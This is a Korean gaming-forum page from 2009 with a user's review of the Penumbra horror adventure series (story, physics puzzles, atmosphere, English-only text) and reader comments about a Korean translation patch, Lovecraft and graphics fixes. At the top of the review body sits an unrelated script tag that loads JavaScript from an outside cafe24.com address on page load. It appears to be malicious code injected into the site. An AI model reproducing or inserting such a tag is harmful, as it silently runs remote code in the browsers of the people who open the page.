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[리뷰]

공포 어드벤쳐, 피넘브라

글쓴이 : pluto9  (58.♡.23.87) 날짜 : 2009-07-02 (목) 19:28 조회 : 26734


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 스웨덴의 프릭셔널 게임즈(Frictional Games)가 제작한 [피넘브라(Penumbra)] 시리즈는 총 세 편의 작품으로 구성되어 있다. 그 중 [피넘브라: 서장(Overture)]과 [피넘브라: 흑사병(Black Plague)]은 게임의 이야기를 담고 있는 본편에 해당되는 작품이고, [피넘브라: 레퀴엠(Requiem)]은 확장팩으로서 이야기의 연결 없이 퍼즐 위주로만 구성된 작품이다.

줄거리

필립이라는 사내가 유일한 가족인 어머니를 잃고 상실감에 빠져 있었다. 그런데 어느날 죽은 줄로만 알았던 아버지 하워드의 이름으로 한 통의 이상한 편지가 도착한다. 필립은 아버지의 흔적을 찾아 그린랜드로 떠나고, 눈보라 속에서 길을 헤매다 버려진 광산의 입구를 발견한다. 그는 일단 추위라도 피하려고 광산에 들어갔는데 입구가 무너져 버린다. 정체불명의 광산에 갇힌 필립은 그곳이 자신의 아버지와 관련된 곳이고 단순한 광산이 아니라는 사실을 곧 알게 된다. 필립은 점점 더 깊은 곳을 향해 발걸음을 내딛는데 그곳에서는 무시무시한 비밀이 그를 기다리고 있다. ※ 아들 필립과 아버지 하워드라는 이름은 소설가 H.P. 러브크래프트(Howard Phillips Lovecraft)의 이름에서 따온 것이다. 장르문학의 대가인 러브크래프트에 대한 존경의 표시를 담은 것으로 보인다.

게임방식

게임은 일인칭 주인공 시점으로 진행된다. [하프라이프 2(Half Life 2)]에서 전투의 요소를 없애고, 퍼즐의 요소만 극대화시켰다고 보면 된다. 굳이 [하프라이프 2]를 꺼낸 것은 일인칭 시점인 데다가 퍼즐을 풀 때 물리엔진을 활용하는 등 여러 모로 유사한 점이 많기 때문이다. 퍼즐은 게임 중 얻는 문서에서 주로 단서를 찾아내고, 주변사물을 활용해서 풀어 나간다. 풀이 방식은 어드벤쳐 장르 자체가 거의 정형화되었기 때문에 식상하다 어쩌다 말하는 것이 어렵고, 그런 식상함을 게임 속에 설득력 있게 녹여냈다는 점에서 훌륭하다고 생각한다. 상호작용이 가능한 등장인물은 없는 것이나 마찬가지이기 때문에 대화의 중요성은 떨어진다.

그래픽과 물리엔진

자체 제작한 그래픽과 물리엔진을 사용하고 있으나 블록버스터 게임에 비하면 떨어진다. 하지만 저예산 게임이라는 것을 감안하면 꽤나 훌륭하다. 어두컴컴한 지하에서 손전등 하나에 의지한 채 뚜벅뚜벅 걸어다니다 보면 등골이 서늘해 지는 것을 느낄 것이다. 공포게임답게 어둠과 적막함이 주는 심리적인 효과를 잘 이용하고 있다.

진입장벽

게임의 이야기와 퍼즐 풀이의 단서는 대부분 진행 중 얻게 되는 책자와 메모에 담겨 있다. 따라서 게이머는 게임 중에 얻는 모든 문서를 꼼꼼히 읽어봐야 한다. 이런 문서들은 모두 영문으로 쓰여 있는 데다가 분량도 적은 편이 아니기 때문에 영어를 모르면 진행이 어렵다. 이 점은 이 게임에만 국한된 이야기가 아니라 해외 어드벤쳐 장르 전체가 국내에서 인기를 끌지 못하는 중요한 원인 중 하나라 할 수 있는데 게임을 구매하기 전에 이 점을 감안하기 바란다.

결론

어둡고 무섭지만 공포영화를 볼 때처럼 빠져들 수 밖에 없는 매력이 있다. 게다가 어드벤쳐 게임인데도 일인칭 주인공 시점으로 자유롭게 이동할 수 있다는 점이 신선하다. 하지만 두번째 작품인 [피넘브라: 흑사병]의 마지막 부분에서 공동체주의보다는 전체주의에 가까운 해결방식을 제시하여 거부감이 들었다. 다른 해결방식을 제시할 수도 있었을텐데 하는 아쉬움이 든다. [피넘브라] 시리즈는 어드벤쳐나 공포물의 팬이라면 한번쯤 해 볼 만한 가치가 있는 게임이다. 날씨도 점점 무더워지는데 게임팬들에게 피서용으로 추천하고 싶다.

※ 이 리뷰는 제 블로그에도 함께 게재합니다. http://esheep.net/146


D.A. (125.♡.165.57) 2009-07-02 (목) 22:56
피넘브라 오버츄어는 한글화가 약 95% 완료된 상황입니다.
많은 분들이 즐길 수 있게 되었으면 좋겠네요.
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감사합니다 (203.♡.65.104) 2009-07-03 (금) 15:52
헉.. 한글화 어디서 찾을 수 있나요...?
스팀에서 세일할때 구입했는데.. 광산 들어가서부터 암것도 못하고 있습니다.. ㅠ.ㅠ
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늑대인간 (58.♡.54.20) 2009-07-03 (금) 19:58
분명 분위기는 있는데.....진행하다보면 미흡한점이 속속 고개를 드리미는~!

한글도 있었군아...
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데몬쌍쌍바 (118.♡.152.231) 2009-07-03 (금) 20:28
피넘브라 데모 해보고 정말 반했는데...쩝... 정품을 구할데가 없더군요. ㅠㅠ
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네로 (121.♡.142.143) 2009-07-04 (토) 00:51
페넘브라 정말 최고의 공포 어드벤쳐지요. 요새의 공포 어드벤쳐가 대부분 총이나 무기같은게 있는 반면에, 페넘브라는 그런게 없습니다. 말그대로 생존용 손전등같은것만 들고 미지의 공포속으로 들어가는거죠. 괴물이 계속 튀어나오는 최근의 호러게임과는 달리, 분위기와 배경만으로 공포를 최대한 이끌어냅니다. 괴물이 안나오는것도 아니죠. 괴물이 튀어나오면 도망치든 주위 사물을 이용하든 해서 제거해야합니다. 예로 들자면, 문 위에 깨진 전구전선이있고 스위치가 방안에있습니다. 방 밖에서 괴물이 달려들땐 괴물이 문으로 들어오는 타이밍에 맞춰 스위치를 눌러 죽여야 하는거죠.
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네로 (121.♡.142.143) 2009-07-04 (토) 00:52
그리고 인터페이스가 상당히 흥미롭습니다. 모든 물건을 사용할땐 마우스로 직접 움직여줘야합니다. 스위치 올릴땐 걍 스위치 키 하나 누르고 끝이아니라 마우스로 스위치를 직접 올려줘야 올라가는거죠. 한번 쯤 꼭 해볼 필요있는 멋진 작품이라고 봅니다.
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우라카타 (168.♡.68.29) 2009-07-04 (토) 17:38
리뷰 잘 보았습니다. 상당히 흥미로운 게임이더군요. 구입은 스팀에서 하는게 가장 저렴할 것입니다.
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검고붉은바다 (115.♡.122.119) 2009-07-04 (토) 17:59
개 패는 재미와 고개숙인 무기를 달고 다니는것들 골려먹는 재미도 쏠쏠하고
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제발 이것 좀 갈쳐… (114.♡.135.66) 2009-07-04 (토) 18:14
한글화가 되었어요?
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ASHPD (203.♡.21.9) 2009-07-05 (일) 11:29
본문에 사실과 다르게 쓰신 부분이 있어 지적드립니다
레퀴엠이 플레이스타일이 전작들과 많이 상반되는게 사실이지만, 스토리의 연결도 어느정도 있습니다
레드가 등장하는걸 보셨을텐뎅;
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아바마마오셧다 (59.♡.134.170) 2009-07-05 (일) 16:45
음 왠지 사일런트힐2 와 줄거리가 다른점을 찾을수가 없군요....
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ASHPD (203.♡.21.9) 2009-07-05 (일) 17:34
사일런트힐과는 전혀 다른 스토리죠 플롯의 시작은 비슷할지몰라도
내용전개가 사힐과는 전혀 다른 세계관과 양식을 갖고 있습니다. 러브크래프트의 소설인 "광기의 산맥"이나, 이에 영향을 받은 존카펜터의 영화 "괴물"이 이 게임과 유사한 스토리를 갖고 있습니다. 굳이 비교하자면 콜오브크툴루 다크코너스오브디어스가 이 게임과 비슷한 줄거리를 갖고 있죠
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ASHPD (203.♡.21.9) 2009-07-05 (일) 17:37
사일런트힐 시리즈가 인간의 죄의식의 실체화와같은걸 다룬데 반해서,
러브크래프티안류의 소설, 게임 등의 세계관은 주로 아득한 고대유적속 우주괴물들과 같은 걸 다루고 있죠
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ASHPD (203.♡.21.9) 2009-07-05 (일) 17:39
이 게임을 보면서 느낀 점은 확실히 우리나라와는 게임산업의 크기가 다르다는 점입니다. 한낮 인디게임에 불과하지만 이 정도의 게임을 낼수 있다는게.. 그들의 저력을 가늠하는 지표가 되지 않나 싶네요..
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무탈리카 (119.♡.79.107) 2009-07-05 (일) 23:50
오우! 러브크래프트!
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클레멘자(레리어트… (61.♡.21.229) 2009-07-06 (월) 11:14
러브크레프트! 찬양하라! 러브크레프트!!!!!!!!!!1
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데드스페이스 (121.♡.99.72) 2009-07-08 (수) 01:25
평소 러브크래프트 좋아한다고해놓고 제대로 소설을 본사람?

구하기 쉽지 않을 뿐더러 구할수있더라도 우리나라에 번역돼서 출판됀 책은 모두 엉터리로 번역된 책인데..

러브크래프트의 진가를 알려면 오직 원서로만 됀 책으로만 확인할수있을텐데

과연 우리나라 대부분 사람들은 러브크래프트에 대해서 안다고할수 있을까...

대부분 러브크래프트를 지지하는 글은 그의 소설을 토대로한 영화만을 보고 판단하는 것일뿐
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무탈리카 (119.♡.79.107) 2009-07-08 (수) 03:34
ㄴ그래서 이번 여름에 황금가지에서 러브크래프트 걸작선을 1, 2권 출간한다고 하는군요.
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검고붉은바다 (115.♡.122.119) 2009-07-08 (수) 12:27
빛의 톨킨이나 어둠의 러브크래프트나 우리나라에선 제대로 작품을 심취해보기 어렵죠. 그나마 반지의 제왕 영화가 뜨고 판타지가 각광받으면서 톨킨 작품은 많이 좋아졌지만 싸구려 번역에 심지어는 편집을 한건지 내용을 뒤죽박죽 제멋대로 만들어 놓은것등
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검고붉은바다 (115.♡.122.119) 2009-07-08 (수) 12:40
이상한 질문이지만 좀 알고싶네요. 아무리 생각해도 이해가 안됩니다만 흑사병편에서 나오는 감염자들 뭣때문에 뭐시기한 무기를 달고다니는건가요? 스토리와 관계있나 했지만 증상의 병리에 대한건 아무것도 없고 그냥 주인공이 추구하는 망상? clarence의 장난? 아니면 개발자들 개성인감?
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쿠키키 (218.♡.40.217) 2009-07-09 (목) 02:35
허거걱.. 베타겜에 이 게임을 아시는 분이 꽤 되시는군요...
다수의 찌질이들이 있지만 다수의 내공있는 분들도 계시는군요..
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pk17 (121.♡.225.246) 2009-07-10 (금) 16:03
데드스페이스// 아 글쎄, 게임 사이트에 와 가지고 그러지 말고, 어디 네이버 블로거들이랑 모여서 맘껏 떠들고 젠체하세요. 동서가 발번역하고, 나는 원서로 세 번을 읽었으며 우리는 원서로 읽을 준비가 되어 있다고. __;;
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아이고 (116.♡.42.10) 2009-07-10 (금) 21:28
설치했는데 바닥이 텅빈 그래픽 오류는 뭔지 모르겠네요..
한글패치 검색해봐도 없던데
D.A.님 한글화 직접 하시나봅니다. 한글패치 부탁드려도..^^
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ASHPD (203.♡.21.9) 2009-07-11 (토) 19:49
데드스페이스님 굳이 원서가 아니더라도 일어체번역이 엉망이긴하지만 동서에서 낸 책들이 있고, 또 훌륭한 분들에 의해 번역, 재번역된 읽을거리도 검색하면 찾아볼수 있습니다. 또 주제를 다룬 전문적인 블로그도 있구요. 영어원서를 안읽었다고 러브크래프트에 모른다고 말하는건 말에 어폐가 있다고 생각되네요. 굳이 책이 아니더라도 하프라이프의 mod게임도 있고, 또 본격적으로 러브크래프티안 게임임을 표방한 다크코너스오브디어스같은 좋은 게임도 있는데 말이죠..
한가지 말씀드리고 싶은건, 이런 걸 아무리 많이 알아봤자 벼슬이 아니라는거지요. 흥미를 갖고 재밌으면 거기에서 끝나야 합니다
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D.A. (125.♡.165.57) 2009-07-13 (월) 01:46
그래픽 오류는 1.0.3 패치를 하시면 해결될겁니다. (1.0.3에 ATI 드라이버 관련 픽스가 있습니다)
저도 한 번은 그렇게 해결했는데 어느날 갑자기 또 문제가 생기길래 그래픽 드라이버를 최신으로 업데이트해서 해결봤습니다.
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검고붉은바다 (115.♡.122.119) 2009-07-15 (수) 02:53
나의 궁금증을 해소시켜줄 분 아무도 없소?
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감사합니다 (121.♡.61.34) 2009-07-20 (월) 20:49
한글패치는 없는듯 합니다... 도저히 찾을수가 없네요..
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pk17 (121.♡.225.130) 2009-07-22 (수) 21:02
검고붉은바다// 액션 호러가 아닌 다음에야 안개 속에 묻어두겠죠. '미지로부터 한 대 후려맞았고 그 뒤에 무엇이 있는지 우리는 알지 못한다!' 깔끔해서 좋지 않나요~
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스탐 (211.♡.151.132) 2009-08-02 (일) 22:05
한글패치가 진행중인 게임인건가요? 아직은 구할수가 없나 봅니다...
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ASHPD (203.♡.21.9) 2009-08-03 (월) 07:46
페눔브라 게시판가면 보이는 영상보시면 알겠지만.. 그거 제작자분이 게임동영상을 위해서 자체 제작하신 패치라고 하네요..
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